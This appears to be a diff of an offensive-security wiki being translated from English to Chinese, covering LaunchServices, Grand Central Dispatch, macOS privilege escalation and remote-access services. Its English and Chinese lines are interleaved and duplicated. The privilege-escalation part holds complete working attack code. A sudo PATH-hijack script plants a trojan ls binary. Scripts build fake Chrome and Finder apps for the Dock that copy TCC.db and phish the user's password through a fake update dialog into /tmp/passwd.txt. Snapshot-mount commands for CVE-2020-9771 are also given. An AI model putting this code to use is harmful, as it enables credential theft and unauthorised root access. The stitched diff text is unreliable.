This is a database of all the installed applications in the macOS that can be queried to get information about each installed application such as URL schemes it support and MIME types.
It's possible to dump this datase with:
这是一个包含 macOS 中所有已安装应用程序的数据库,可以查询以获取有关每个已安装应用程序的信息,例如它支持的 URL 方案和 MIME 类型。
可以使用以下命令导出此数据库:
```
/System/Library/Frameworks/CoreServices.framework/Versions/A/Frameworks/LaunchServices.framework/Versions/A/Support/lsregister -dump
```
或使用工具 [**lsdtrip**](https://newosxbook.com/tools/lsdtrip.html)。
Or using the tool [**lsdtrip**](https://newosxbook.com/tools/lsdtrip.html).
**`/usr/libexec/lsd`** 是数据库的核心。它提供 **多个 XPC 服务**,如 `.lsd.installation``.lsd.open``.lsd.openurl` 等。但它也 **要求某些权限** 以便应用程序能够使用暴露的 XPC 功能,如 `.launchservices.changedefaulthandler``.launchservices.changeurlschemehandler` 来更改 MIME 类型或 URL 方案的默认应用程序等。
**`/usr/libexec/lsd`** is the brain of the database. It provides **several XPC services** like `.lsd.installation`, `.lsd.open`, `.lsd.openurl`, and more. But it also **requires some entitlements** to applications to be able to use the exposed XPC functionalities, like `.launchservices.changedefaulthandler` or `.launchservices.changeurlschemehandler` to change default apps for mime types or url schemes and others.
**`/System/Library/CoreServices/launchservicesd`** 声明服务 `com.apple.coreservices.launchservicesd`,可以查询以获取有关正在运行的应用程序的信息。可以使用系统工具 /**`usr/bin/lsappinfo`** 或 [**lsdtrip**](https://newosxbook.com/tools/lsdtrip.html) 进行查询。
**`/System/Library/CoreServices/launchservicesd`** claims the service `com.apple.coreservices.launchservicesd` and can be queried to get information about running applications. It can be queried with the system tool /**`usr/bin/lsappinfo`** or with [**lsdtrip**](https://newosxbook.com/tools/lsdtrip.html).
## File Extension & URL scheme app handlers
The following line can be useful to find the applications that can open files depending on the extension:
## 文件扩展名和 URL 方案应用程序处理程序
以下行可以用于查找可以根据扩展名打开文件的应用程序:
```bash
/System/Library/Frameworks/CoreServices.framework/Versions/A/Frameworks/LaunchServices.framework/Versions/A/Support/lsregister -dump | grep -E "path:|bindings:|name:"
```
Or use something like [**SwiftDefaultApps**](https://github.com/Lord-Kamina/SwiftDefaultApps):
或者使用类似于 [**SwiftDefaultApps**](https://github.com/Lord-Kamina/SwiftDefaultApps)
```bash
./swda getSchemes #Get all the available schemes
./swda getApps #Get all the apps declared
./swda getUTIs #Get all the UTIs
./swda getHandler --URL ftp #Get ftp handler
```
You can also check the extensions supported by an application doing:
您还可以通过以下方式检查应用程序支持的扩展:
```
cd /Applications/Safari.app/Contents
grep -A3 CFBundleTypeExtensions Info.plist | grep string
<string>css</string>
<string>pdf</string>
<string>webarchive</string>
<string>webbookmark</string>
<string>webhistory</string>
<string>webloc</string>
<string>download</string>
<string>safariextz</string>
<string>gif</string>
<string>html</string>
<string>htm</string>
<string>js</string>
<string>jpg</string>
<string>jpeg</string>
<string>jp2</string>
<string>txt</string>
<string>text</string>
<string>png</string>
<string>tiff</string>
<string>tif</string>
<string>url</string>
<string>ico</string>
<string>xhtml</string>
<string>xht</string>
<string>xml</string>
<string>xbl</string>
<string>svg</string>
<string>css</string>
<string>pdf</string>
<string>webarchive</string>
<string>webbookmark</string>
<string>webhistory</string>
<string>webloc</string>
<string>download</string>
<string>safariextz</string>
<string>gif</string>
<string>html</string>
<string>htm</string>
<string>js</string>
<string>jpg</string>
<string>jpeg</string>
<string>jp2</string>
<string>txt</string>
<string>text</string>
<string>png</string>
<string>tiff</string>
<string>tif</string>
<string>url</string>
<string>ico</string>
<string>xhtml</string>
<string>xht</string>
<string>xml</string>
<string>xbl</string>
<string>svg</string>
```
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,182 +2,175 @@
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
## 基本信息
**Grand Central Dispatch (GCD),** also known as **libdispatch** (`libdispatch.dyld`), is available in both macOS and iOS. It's a technology developed by Apple to optimize application support for concurrent (multithreaded) execution on multicore hardware.
**Grand Central Dispatch (GCD)**,也称为 **libdispatch** (`libdispatch.dyld`),在 macOS 和 iOS 中均可用。它是苹果公司开发的一项技术,旨在优化应用程序对多核硬件上并发(多线程)执行的支持。
**GCD** provides and manages **FIFO queues** to which your application can **submit tasks** in the form of **block objects**. Blocks submitted to dispatch queues are **executed on a pool of threads** fully managed by the system. GCD automatically creates threads for executing the tasks in the dispatch queues and schedules those tasks to run on the available cores.
**GCD** 提供并管理 **FIFO 队列**,您的应用程序可以将任务以 **块对象** 的形式 **提交**。提交到调度队列的块将在系统完全管理的线程池上 **执行**。GCD 自动创建线程以执行调度队列中的任务,并安排这些任务在可用核心上运行。
> [!TIP]
> In summary, to execute code in **parallel**, processes can send **blocks of code to GCD**, which will take care of their execution. Therefore, processes don't create new threads; **GCD executes the given code with its own pool of threads** (which might increase or decrease as necessary).
> 总之,为了 **并行** 执行代码,进程可以将 **代码块发送到 GCD**GCD 将负责它们的执行。因此,进程不创建新线程;**GCD 使用其自己的线程池执行给定的代码**(线程池可能根据需要增加或减少)。
This is very helpful to manage parallel execution successfully, greatly reducing the number of threads processes create and optimising the parallel execution. This is ideal for tasks that require **great parallelism** (brute-forcing?) or for tasks that shouldn't block the main thread: For example, the main thread on iOS handles UI interactions, so any other functionality that could make the app hang (searching, accessing a web, reading a file...) is managed this way.
这对于成功管理并行执行非常有帮助,极大地减少了进程创建的线程数量,并优化了并行执行。这对于需要 **高度并行性**暴力破解的任务或不应阻塞主线程的任务是理想的例如iOS 上的主线程处理 UI 交互,因此任何可能导致应用程序挂起的其他功能(搜索、访问网络、读取文件等)都是以这种方式管理的。
### Blocks
###
A block is a **self contained section of code** (like a function with arguments returning a value) and can also specify bound variables.\
However, at compiler level blocks doesn't exist, they are `os_object`s. Each of these objects is formed by two structures:
块是一个 **自包含的代码段**(像一个带参数返回值的函数),也可以指定绑定变量。\
然而,在编译器级别,块并不存在,它们是 `os_object`。每个对象由两个结构组成:
- **block literal**:&#x20;
- It starts by the **`isa`** field, pointing to the block's class:
- `NSConcreteGlobalBlock` (blocks from `__DATA.__const`)
- `NSConcreteMallocBlock` (blocks in the heap)
- `NSConcreateStackBlock` (blocks in stack)
- It has **`flags`** (indicating fields present in the block descriptor) and some reserved bytes
- The function pointer to call
- A pointer to the block descriptor
- Block imported variables (if any)
- **block descriptor**: It's size depends on the data that is present (as indicated in the previous flags)
- It has some reserved bytes
- The size of it
- It'll usually have a pointer to an Objective-C style signature to know how much space is needed for the params (flag `BLOCK_HAS_SIGNATURE`)
- If variables are referenced, this block will also have pointers to a copy helper (copying the value at the begining) and dispose helper (freeing it).
- **块字面量**&#x20;
- 它以 **`isa`** 字段开始,指向块的类:
- `NSConcreteGlobalBlock`(来自 `__DATA.__const` 的块)
- `NSConcreteMallocBlock`(堆中的块)
- `NSConcreateStackBlock`(栈中的块)
- 它有 **`flags`**(指示块描述符中存在的字段)和一些保留字节
- 调用的函数指针
- 指向块描述符的指针
- 导入的块变量(如果有)
- **块描述符**:其大小取决于存在的数据(如前面标志所示)
- 它有一些保留字节
- 它的大小
- 通常会有一个指向 Objective-C 风格签名的指针,以了解参数所需的空间(标志 `BLOCK_HAS_SIGNATURE`
- 如果引用了变量,则该块还将有指向复制助手(在开始时复制值)和处置助手(释放它)的指针。
### Queues
### 队列
A dispatch queue is a named object providing FIFO ordering of blocks for executions.
调度队列是一个命名对象,提供块的 FIFO 执行顺序。
Blocks a set in queues to be executed, and these support 2 modes: `DISPATCH_QUEUE_SERIAL` and `DISPATCH_QUEUE_CONCURRENT`. Of course the **serial** one **won't have race condition** problems as a block won't be executed until the previous one has finished. But **the other type of queue might have it**.
块被设置在队列中以供执行,这些队列支持两种模式:`DISPATCH_QUEUE_SERIAL``DISPATCH_QUEUE_CONCURRENT`。当然,**串行**队列 **不会有竞争条件** 问题,因为块不会在前一个块完成之前执行。但 **另一种类型的队列可能会有**
Default queues:
默认队列:
- `.main-thread`: From `dispatch_get_main_queue()`
- `.libdispatch-manager`: GCD's queue manager
- `.root.libdispatch-manager`: GCD's queue manager
- `.root.maintenance-qos`: Lowest priority tasks
- `.main-thread`: 来自 `dispatch_get_main_queue()`
- `.libdispatch-manager`: GCD 的队列管理器
- `.root.libdispatch-manager`: GCD 的队列管理器
- `.root.maintenance-qos`: 最低优先级任务
- `.root.maintenance-qos.overcommit`
- `.root.background-qos`: Available as `DISPATCH_QUEUE_PRIORITY_BACKGROUND`
- `.root.background-qos`: 可用作 `DISPATCH_QUEUE_PRIORITY_BACKGROUND`
- `.root.background-qos.overcommit`
- `.root.utility-qos`: Available as `DISPATCH_QUEUE_PRIORITY_NON_INTERACTIVE`
- `.root.utility-qos`: 可用作 `DISPATCH_QUEUE_PRIORITY_NON_INTERACTIVE`
- `.root.utility-qos.overcommit`
- `.root.default-qos`: Available as `DISPATCH_QUEUE_PRIORITY_DEFAULT`
- `.root.default-qos`: 可用作 `DISPATCH_QUEUE_PRIORITY_DEFAULT`
- `.root.background-qos.overcommit`
- `.root.user-initiated-qos`: Available as `DISPATCH_QUEUE_PRIORITY_HIGH`
- `.root.user-initiated-qos`: 可用作 `DISPATCH_QUEUE_PRIORITY_HIGH`
- `.root.background-qos.overcommit`
- `.root.user-interactive-qos`: Highest priority
- `.root.user-interactive-qos`: 最高优先级
- `.root.background-qos.overcommit`
Notice that it will be the system who decides **which threads handle which queues at each time** (multiple threads might work in the same queue or the same thread might work in different queues at some point)
请注意,系统将决定 **每次哪个线程处理哪个队列**(多个线程可能在同一队列中工作,或者同一线程可能在某些时刻在不同队列中工作)
#### Attributtes
#### 属性
When creating a queue with **`dispatch_queue_create`** the third argument is a `dispatch_queue_attr_t`, which usually is either `DISPATCH_QUEUE_SERIAL` (which is actually NULL) or `DISPATCH_QUEUE_CONCURRENT` which is a pointer to a `dispatch_queue_attr_t` struct which allow to control some parameters of the queue.
使用 **`dispatch_queue_create`** 创建队列时,第三个参数是 `dispatch_queue_attr_t`,通常是 `DISPATCH_QUEUE_SERIAL`(实际上是 NULL`DISPATCH_QUEUE_CONCURRENT`,这是指向 `dispatch_queue_attr_t` 结构的指针,允许控制队列的一些参数。
### Dispatch objects
### 调度对象
There are several objects that libdispatch uses and queues and blocks are just 2 of them. It's possible to create these objects with `dispatch_object_create`:
libdispatch 使用多个对象,队列和块只是其中两个。可以使用 `dispatch_object_create` 创建这些对象:
- `block`
- `data`: Data blocks
- `group`: Group of blocks
- `io`: Async I/O requests
- `mach`: Mach ports
- `mach_msg`: Mach messages
- `pthread_root_queue`:A queue with a pthread thread pool and not workqueues
- `data`: 数据块
- `group`: 块组
- `io`: 异步 I/O 请求
- `mach`: Mach 端口
- `mach_msg`: Mach 消息
- `pthread_root_queue`: 带有 pthread 线程池的队列,而不是工作队列
- `queue`
- `semaphore`
- `source`: Event source
- `source`: 事件源
## Objective-C
In Objetive-C there are different functions to send a block to be executed in parallel:
在 Objective-C 中,有不同的函数可以将块发送到并行执行:
- [**dispatch_async**](https://developer.apple.com/documentation/dispatch/1453057-dispatch_async): Submits a block for asynchronous execution on a dispatch queue and returns immediately.
- [**dispatch_sync**](https://developer.apple.com/documentation/dispatch/1452870-dispatch_sync): Submits a block object for execution and returns after that block finishes executing.
- [**dispatch_once**](https://developer.apple.com/documentation/dispatch/1447169-dispatch_once): Executes a block object only once for the lifetime of an application.
- [**dispatch_async_and_wait**](https://developer.apple.com/documentation/dispatch/3191901-dispatch_async_and_wait): Submits a work item for execution and returns only after it finishes executing. Unlike [**`dispatch_sync`**](https://developer.apple.com/documentation/dispatch/1452870-dispatch_sync), this function respects all attributes of the queue when it executes the block.
- [**dispatch_async**](https://developer.apple.com/documentation/dispatch/1453057-dispatch_async): 提交一个块以在调度队列上异步执行,并立即返回。
- [**dispatch_sync**](https://developer.apple.com/documentation/dispatch/1452870-dispatch_sync): 提交一个块对象以执行,并在该块完成执行后返回。
- [**dispatch_once**](https://developer.apple.com/documentation/dispatch/1447169-dispatch_once): 在应用程序的生命周期内仅执行一次块对象。
- [**dispatch_async_and_wait**](https://developer.apple.com/documentation/dispatch/3191901-dispatch_async_and_wait): 提交一个工作项以执行,并仅在其完成执行后返回。与 [**`dispatch_sync`**](https://developer.apple.com/documentation/dispatch/1452870-dispatch_sync) 不同,此函数在执行块时尊重队列的所有属性。
These functions expect these parameters: [**`dispatch_queue_t`**](https://developer.apple.com/documentation/dispatch/dispatch_queue_t) **`queue,`** [**`dispatch_block_t`**](https://developer.apple.com/documentation/dispatch/dispatch_block_t) **`block`**
This is the **struct of a Block**:
这些函数期望这些参数:[**`dispatch_queue_t`**](https://developer.apple.com/documentation/dispatch/dispatch_queue_t) **`queue,`** [**`dispatch_block_t`**](https://developer.apple.com/documentation/dispatch/dispatch_block_t) **`block`**
这是 **块的结构**
```c
struct Block {
void *isa; // NSConcreteStackBlock,...
int flags;
int reserved;
void *invoke;
struct BlockDescriptor *descriptor;
// captured variables go here
void *isa; // NSConcreteStackBlock,...
int flags;
int reserved;
void *invoke;
struct BlockDescriptor *descriptor;
// captured variables go here
};
```
And this is an example to use **parallelism** with **`dispatch_async`**:
这是一个使用 **parallelism****`dispatch_async`** 的示例:
```objectivec
#import <Foundation/Foundation.h>
// Define a block
void (^backgroundTask)(void) = ^{
// Code to be executed in the background
for (int i = 0; i < 10; i++) {
NSLog(@"Background task %d", i);
sleep(1); // Simulate a long-running task
}
// Code to be executed in the background
for (int i = 0; i < 10; i++) {
NSLog(@"Background task %d", i);
sleep(1); // Simulate a long-running task
}
};
int main(int argc, const char * argv[]) {
@autoreleasepool {
// Create a dispatch queue
dispatch_queue_t backgroundQueue = dispatch_queue_create("com.example.backgroundQueue", NULL);
@autoreleasepool {
// Create a dispatch queue
dispatch_queue_t backgroundQueue = dispatch_queue_create("com.example.backgroundQueue", NULL);
// Submit the block to the queue for asynchronous execution
dispatch_async(backgroundQueue, backgroundTask);
// Submit the block to the queue for asynchronous execution
dispatch_async(backgroundQueue, backgroundTask);
// Continue with other work on the main queue or thread
for (int i = 0; i < 10; i++) {
NSLog(@"Main task %d", i);
sleep(1); // Simulate a long-running task
}
}
return 0;
// Continue with other work on the main queue or thread
for (int i = 0; i < 10; i++) {
NSLog(@"Main task %d", i);
sleep(1); // Simulate a long-running task
}
}
return 0;
}
```
## Swift
**`libswiftDispatch`** is a library that provides **Swift bindings** to the Grand Central Dispatch (GCD) framework which is originally written in C.\
The **`libswiftDispatch`** library wraps the C GCD APIs in a more Swift-friendly interface, making it easier and more intuitive for Swift developers to work with GCD.
**`libswiftDispatch`** 是一个库,提供 **Swift 绑定** 到最初用 C 编写的 Grand Central Dispatch (GCD) 框架。\
**`libswiftDispatch`** 库将 C GCD API 封装在一个更适合 Swift 的接口中,使 Swift 开发者更容易和直观地使用 GCD。
- **`DispatchQueue.global().sync{ ... }`**
- **`DispatchQueue.global().async{ ... }`**
- **`let onceToken = DispatchOnce(); onceToken.perform { ... }`**
- **`async await`**
- **`var (data, response) = await URLSession.shared.data(from: URL(string: "https://api.example.com/getData"))`**
**Code example**:
- **`var (data, response) = await URLSession.shared.data(from: URL(string: "https://api.example.com/getData"))`**
**代码示例**:
```swift
import Foundation
// Define a closure (the Swift equivalent of a block)
let backgroundTask: () -> Void = {
for i in 0..<10 {
print("Background task \(i)")
sleep(1) // Simulate a long-running task
}
for i in 0..<10 {
print("Background task \(i)")
sleep(1) // Simulate a long-running task
}
}
// Entry point
autoreleasepool {
// Create a dispatch queue
let backgroundQueue = DispatchQueue(label: "com.example.backgroundQueue")
// Create a dispatch queue
let backgroundQueue = DispatchQueue(label: "com.example.backgroundQueue")
// Submit the closure to the queue for asynchronous execution
backgroundQueue.async(execute: backgroundTask)
// Submit the closure to the queue for asynchronous execution
backgroundQueue.async(execute: backgroundTask)
// Continue with other work on the main queue
for i in 0..<10 {
print("Main task \(i)")
sleep(1) // Simulate a long-running task
}
// Continue with other work on the main queue
for i in 0..<10 {
print("Main task \(i)")
sleep(1) // Simulate a long-running task
}
}
```
## Frida
The following Frida script can be used to **hook into several `dispatch`** functions and extract the queue name, the backtrace and the block: [**https://github.com/seemoo-lab/frida-scripts/blob/main/scripts/libdispatch.js**](https://github.com/seemoo-lab/frida-scripts/blob/main/scripts/libdispatch.js)
以下 Frida 脚本可用于 **hook 进入多个 `dispatch`** 函数并提取队列名称、回溯和块: [**https://github.com/seemoo-lab/frida-scripts/blob/main/scripts/libdispatch.js**](https://github.com/seemoo-lab/frida-scripts/blob/main/scripts/libdispatch.js)
```bash
frida -U <prog_name> -l libdispatch.js
@ -190,12 +183,11 @@ Backtrace:
0x19e3a57fc UIKitCore!+[UIGraphicsRenderer _destroyCGContext:withRenderer:]
[...]
```
## Ghidra
Currently Ghidra doesn't understand neither the ObjectiveC **`dispatch_block_t`** structure, neither the **`swift_dispatch_block`** one.
目前 Ghidra 既不理解 ObjectiveC **`dispatch_block_t`** 结构,也不理解 **`swift_dispatch_block`** 结构。
So if you want it to understand them, you could just **declare them**:
所以如果你想让它理解这些结构,你可以**声明它们**
<figure><img src="../../images/image (1160).png" alt="" width="563"><figcaption></figcaption></figure>
@ -203,18 +195,18 @@ So if you want it to understand them, you could just **declare them**:
<figure><img src="../../images/image (1163).png" alt="" width="563"><figcaption></figcaption></figure>
Then, find a place in the code where they are **used**:
然后,找到代码中**使用**它们的地方:
> [!TIP]
> Note all of references made to "block" to understand how you could figure out that the struct is being used.
> 注意所有提到“block”的引用以理解你如何能够判断该结构正在被使用。
<figure><img src="../../images/image (1164).png" alt="" width="563"><figcaption></figcaption></figure>
Right click on the variable -> Retype Variable and select in this case **`swift_dispatch_block`**:
右键单击变量 -> 重新输入变量,并在这种情况下选择 **`swift_dispatch_block`**
<figure><img src="../../images/image (1165).png" alt="" width="563"><figcaption></figcaption></figure>
Ghidra will automatically rewrite everything:
Ghidra 会自动重写所有内容:
<figure><img src="../../images/image (1166).png" alt="" width="563"><figcaption></figcaption></figure>

View File

@ -1,37 +1,36 @@
# macOS Privilege Escalation
# macOS 提权
{{#include ../../banners/hacktricks-training.md}}
## TCC Privilege Escalation
## TCC 提权
If you came here looking for TCC privilege escalation go to:
如果你来这里寻找 TCC 提权,请访问:
{{#ref}}
macos-security-protections/macos-tcc/
{{#endref}}
## Linux Privesc
## Linux 提权
Please note that **most of the tricks about privilege escalation affecting Linux/Unix will affect also MacOS** machines. So see:
请注意,**大多数影响 Linux/Unix 的提权技巧也会影响 MacOS** 机器。因此请查看:
{{#ref}}
../../linux-hardening/privilege-escalation/
{{#endref}}
## User Interaction
## 用户交互
### Sudo Hijacking
### Sudo 劫持
You can find the original [Sudo Hijacking technique inside the Linux Privilege Escalation post](../../linux-hardening/privilege-escalation/#sudo-hijacking).
However, macOS **maintains** the user's **`PATH`** when he executes **`sudo`**. Which means that another way to achieve this attack would be to **hijack other binaries** that the victim sill execute when **running sudo:**
你可以在 Linux 提权帖子中找到原始的 [Sudo 劫持技巧](../../linux-hardening/privilege-escalation/#sudo-hijacking)。
然而macOS **维护** 用户的 **`PATH`** 当他执行 **`sudo`** 时。这意味着实现此攻击的另一种方法是 **劫持其他二进制文件**,这些文件在 **运行 sudo** 时受害者仍会执行:
```bash
# Let's hijack ls in /opt/homebrew/bin, as this is usually already in the users PATH
cat > /opt/homebrew/bin/ls <<EOF
#!/bin/bash
if [ "\$(id -u)" -eq 0 ]; then
whoami > /tmp/privesc
whoami > /tmp/privesc
fi
/bin/ls "\$@"
EOF
@ -40,19 +39,17 @@ chmod +x /opt/homebrew/bin/ls
# victim
sudo ls
```
注意,使用终端的用户很可能已经**安装了 Homebrew**。因此,可以劫持**`/opt/homebrew/bin`**中的二进制文件。
Note that a user that uses the terminal will highly probable have **Homebrew installed**. So it's possible to hijack binaries in **`/opt/homebrew/bin`**.
### Dock 冒充
### Dock Impersonation
Using some **social engineering** you could **impersonate for example Google Chrome** inside the dock and actually execute your own script:
通过一些**社会工程学**,你可以在 Dock 中**冒充例如 Google Chrome**,并实际执行你自己的脚本:
{{#tabs}}
{{#tab name="Chrome Impersonation"}}
Some suggestions:
- Check in the Dock if there is a Chrome, and in that case **remove** that entry and **add** the **fake** **Chrome entry in the same position** in the Dock array.&#x20;
一些建议:
- 在 Dock 中检查是否有 Chrome如果有**删除**该条目并在 Dock 数组的**相同位置****添加****假****Chrome 条目**。&#x20;
```bash
#!/bin/sh
@ -72,13 +69,13 @@ cat > /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome.c <<EOF
#include <unistd.h>
int main() {
char *cmd = "open /Applications/Google\\\\ Chrome.app & "
"sleep 2; "
"osascript -e 'tell application \"Finder\"' -e 'set homeFolder to path to home folder as string' -e 'set sourceFile to POSIX file \"/Library/Application Support/com.apple.TCC/TCC.db\" as alias' -e 'set targetFolder to POSIX file \"/tmp\" as alias' -e 'duplicate file sourceFile to targetFolder with replacing' -e 'end tell'; "
"PASSWORD=\$(osascript -e 'Tell application \"Finder\"' -e 'Activate' -e 'set userPassword to text returned of (display dialog \"Enter your password to update Google Chrome:\" default answer \"\" with hidden answer buttons {\"OK\"} default button 1 with icon file \"Applications:Google Chrome.app:Contents:Resources:app.icns\")' -e 'end tell' -e 'return userPassword'); "
"echo \$PASSWORD > /tmp/passwd.txt";
system(cmd);
return 0;
char *cmd = "open /Applications/Google\\\\ Chrome.app & "
"sleep 2; "
"osascript -e 'tell application \"Finder\"' -e 'set homeFolder to path to home folder as string' -e 'set sourceFile to POSIX file \"/Library/Application Support/com.apple.TCC/TCC.db\" as alias' -e 'set targetFolder to POSIX file \"/tmp\" as alias' -e 'duplicate file sourceFile to targetFolder with replacing' -e 'end tell'; "
"PASSWORD=\$(osascript -e 'Tell application \"Finder\"' -e 'Activate' -e 'set userPassword to text returned of (display dialog \"Enter your password to update Google Chrome:\" default answer \"\" with hidden answer buttons {\"OK\"} default button 1 with icon file \"Applications:Google Chrome.app:Contents:Resources:app.icns\")' -e 'end tell' -e 'return userPassword'); "
"echo \$PASSWORD > /tmp/passwd.txt";
system(cmd);
return 0;
}
EOF
@ -94,22 +91,22 @@ cat << EOF > /tmp/Google\ Chrome.app/Contents/Info.plist
"http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>CFBundleExecutable</key>
<string>Google Chrome</string>
<key>CFBundleIdentifier</key>
<string>com.google.Chrome</string>
<key>CFBundleName</key>
<string>Google Chrome</string>
<key>CFBundleVersion</key>
<string>1.0</string>
<key>CFBundleShortVersionString</key>
<string>1.0</string>
<key>CFBundleInfoDictionaryVersion</key>
<string>6.0</string>
<key>CFBundlePackageType</key>
<string>APPL</string>
<key>CFBundleIconFile</key>
<string>app</string>
<key>CFBundleExecutable</key>
<string>Google Chrome</string>
<key>CFBundleIdentifier</key>
<string>com.google.Chrome</string>
<key>CFBundleName</key>
<string>Google Chrome</string>
<key>CFBundleVersion</key>
<string>1.0</string>
<key>CFBundleShortVersionString</key>
<string>1.0</string>
<key>CFBundleInfoDictionaryVersion</key>
<string>6.0</string>
<key>CFBundlePackageType</key>
<string>APPL</string>
<key>CFBundleIconFile</key>
<string>app</string>
</dict>
</plist>
EOF
@ -122,18 +119,16 @@ defaults write com.apple.dock persistent-apps -array-add '<dict><key>tile-data</
sleep 0.1
killall Dock
```
{{#endtab}}
{{#tab name="Finder Impersonation"}}
Some suggestions:
- You **cannot remove Finder from the Dock**, so if you are going to add it to the Dock, you could put the fake Finder just next to the real one. For this you need to **add the fake Finder entry at the beginning of the Dock array**.
- Another option is to not place it in the Dock and just open it, "Finder asking to control Finder" is not that weird.
- Another options to **escalate to root without asking** the password with a horrible box, is make Finder really ask for the password to perform a privileged action:
- Ask Finder to copy to **`/etc/pam.d`** a new **`sudo`** file (The prompt asking for the password will indicate that "Finder wants to copy sudo")
- Ask Finder to copy a new **Authorization Plugin** (You could control the file name so the prompt asking for the password will indicate that "Finder wants to copy Finder.bundle")
一些建议:
- 你**无法从 Dock 中移除 Finder**,所以如果你要将其添加到 Dock 中,可以将假 Finder 放在真实 Finder 的旁边。为此,你需要**将假 Finder 条目添加到 Dock 数组的开头**。
- 另一个选项是不要将其放在 Dock 中只需打开它“Finder 请求控制 Finder”并不奇怪。
- 另一个选项是**在不询问**密码的情况下提升到 root 权限,使用一个可怕的框,实际上让 Finder 请求密码以执行特权操作:
- 请求 Finder 将一个新的 **`sudo`** 文件复制到 **`/etc/pam.d`**提示请求密码将表明“Finder 想要复制 sudo”
- 请求 Finder 复制一个新的 **Authorization Plugin**你可以控制文件名以便提示请求密码将表明“Finder 想要复制 Finder.bundle”
```bash
#!/bin/sh
@ -153,13 +148,13 @@ cat > /tmp/Finder.app/Contents/MacOS/Finder.c <<EOF
#include <unistd.h>
int main() {
char *cmd = "open /System/Library/CoreServices/Finder.app & "
"sleep 2; "
"osascript -e 'tell application \"Finder\"' -e 'set homeFolder to path to home folder as string' -e 'set sourceFile to POSIX file \"/Library/Application Support/com.apple.TCC/TCC.db\" as alias' -e 'set targetFolder to POSIX file \"/tmp\" as alias' -e 'duplicate file sourceFile to targetFolder with replacing' -e 'end tell'; "
"PASSWORD=\$(osascript -e 'Tell application \"Finder\"' -e 'Activate' -e 'set userPassword to text returned of (display dialog \"Finder needs to update some components. Enter your password:\" default answer \"\" with hidden answer buttons {\"OK\"} default button 1 with icon file \"System:Library:CoreServices:Finder.app:Contents:Resources:Finder.icns\")' -e 'end tell' -e 'return userPassword'); "
"echo \$PASSWORD > /tmp/passwd.txt";
system(cmd);
return 0;
char *cmd = "open /System/Library/CoreServices/Finder.app & "
"sleep 2; "
"osascript -e 'tell application \"Finder\"' -e 'set homeFolder to path to home folder as string' -e 'set sourceFile to POSIX file \"/Library/Application Support/com.apple.TCC/TCC.db\" as alias' -e 'set targetFolder to POSIX file \"/tmp\" as alias' -e 'duplicate file sourceFile to targetFolder with replacing' -e 'end tell'; "
"PASSWORD=\$(osascript -e 'Tell application \"Finder\"' -e 'Activate' -e 'set userPassword to text returned of (display dialog \"Finder needs to update some components. Enter your password:\" default answer \"\" with hidden answer buttons {\"OK\"} default button 1 with icon file \"System:Library:CoreServices:Finder.app:Contents:Resources:Finder.icns\")' -e 'end tell' -e 'return userPassword'); "
"echo \$PASSWORD > /tmp/passwd.txt";
system(cmd);
return 0;
}
EOF
@ -175,22 +170,22 @@ cat << EOF > /tmp/Finder.app/Contents/Info.plist
"http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>CFBundleExecutable</key>
<string>Finder</string>
<key>CFBundleIdentifier</key>
<string>com.apple.finder</string>
<key>CFBundleName</key>
<string>Finder</string>
<key>CFBundleVersion</key>
<string>1.0</string>
<key>CFBundleShortVersionString</key>
<string>1.0</string>
<key>CFBundleInfoDictionaryVersion</key>
<string>6.0</string>
<key>CFBundlePackageType</key>
<string>APPL</string>
<key>CFBundleIconFile</key>
<string>app</string>
<key>CFBundleExecutable</key>
<string>Finder</string>
<key>CFBundleIdentifier</key>
<string>com.apple.finder</string>
<key>CFBundleName</key>
<string>Finder</string>
<key>CFBundleVersion</key>
<string>1.0</string>
<key>CFBundleShortVersionString</key>
<string>1.0</string>
<key>CFBundleInfoDictionaryVersion</key>
<string>6.0</string>
<key>CFBundlePackageType</key>
<string>APPL</string>
<key>CFBundleIconFile</key>
<string>app</string>
</dict>
</plist>
EOF
@ -203,17 +198,15 @@ defaults write com.apple.dock persistent-apps -array-add '<dict><key>tile-data</
sleep 0.1
killall Dock
```
{{#endtab}}
{{#endtabs}}
## TCC - Root Privilege Escalation
## TCC - 根权限提升
### CVE-2020-9771 - mount_apfs TCC bypass and privilege escalation
**Any user** (even unprivileged ones) can create and mount a time machine snapshot an **access ALL the files** of that snapshot.\
The **only privileged** needed is for the application used (like `Terminal`) to have **Full Disk Access** (FDA) access (`kTCCServiceSystemPolicyAllfiles`) which need to be granted by an admin.
### CVE-2020-9771 - mount_apfs TCC 绕过和权限提升
**任何用户**(甚至是无特权用户)都可以创建和挂载时间机器快照并**访问该快照的所有文件**。\
所需的**唯一特权**是用于的应用程序(如 `Terminal`)必须具有**完全磁盘访问**FDA权限`kTCCServiceSystemPolicyAllfiles`),该权限需要由管理员授予。
```bash
# Create snapshot
tmutil localsnapshot
@ -233,12 +226,11 @@ mkdir /tmp/snap
# Access it
ls /tmp/snap/Users/admin_user # This will work
```
更详细的解释可以在[**原始报告中找到**](https://theevilbit.github.io/posts/cve_2020_9771/)**。**
A more detailed explanation can be [**found in the original report**](https://theevilbit.github.io/posts/cve_2020_9771/)**.**
## 敏感信息
## Sensitive Information
This can be useful to escalate privileges:
这可以用于提升权限:
{{#ref}}
macos-files-folders-and-binaries/macos-sensitive-locations.md

View File

@ -1,19 +1,18 @@
# macOS Network Services & Protocols
# macOS 网络服务与协议
{{#include ../../banners/hacktricks-training.md}}
## Remote Access Services
## 远程访问服务
These are the common macOS services to access them remotely.\
You can enable/disable these services in `System Settings` --> `Sharing`
这些是常见的 macOS 服务,用于远程访问它们。\
您可以在 `系统设置` --> `共享` 中启用/禁用这些服务。
- **VNC**, known as “Screen Sharing” (tcp:5900)
- **SSH**, called “Remote Login” (tcp:22)
- **Apple Remote Desktop** (ARD), or “Remote Management” (tcp:3283, tcp:5900)
- **AppleEvent**, known as “Remote Apple Event” (tcp:3031)
Check if any is enabled running:
- **VNC**称为“屏幕共享”tcp:5900
- **SSH**称为“远程登录”tcp:22
- **Apple Remote Desktop** (ARD)或称为“远程管理”tcp:3283, tcp:5900
- **AppleEvent**,称为“远程 Apple 事件”tcp:3031
检查是否启用了任何服务,运行:
```bash
rmMgmt=$(netstat -na | grep LISTEN | grep tcp46 | grep "*.3283" | wc -l);
scrShrng=$(netstat -na | grep LISTEN | egrep 'tcp4|tcp6' | grep "*.5900" | wc -l);
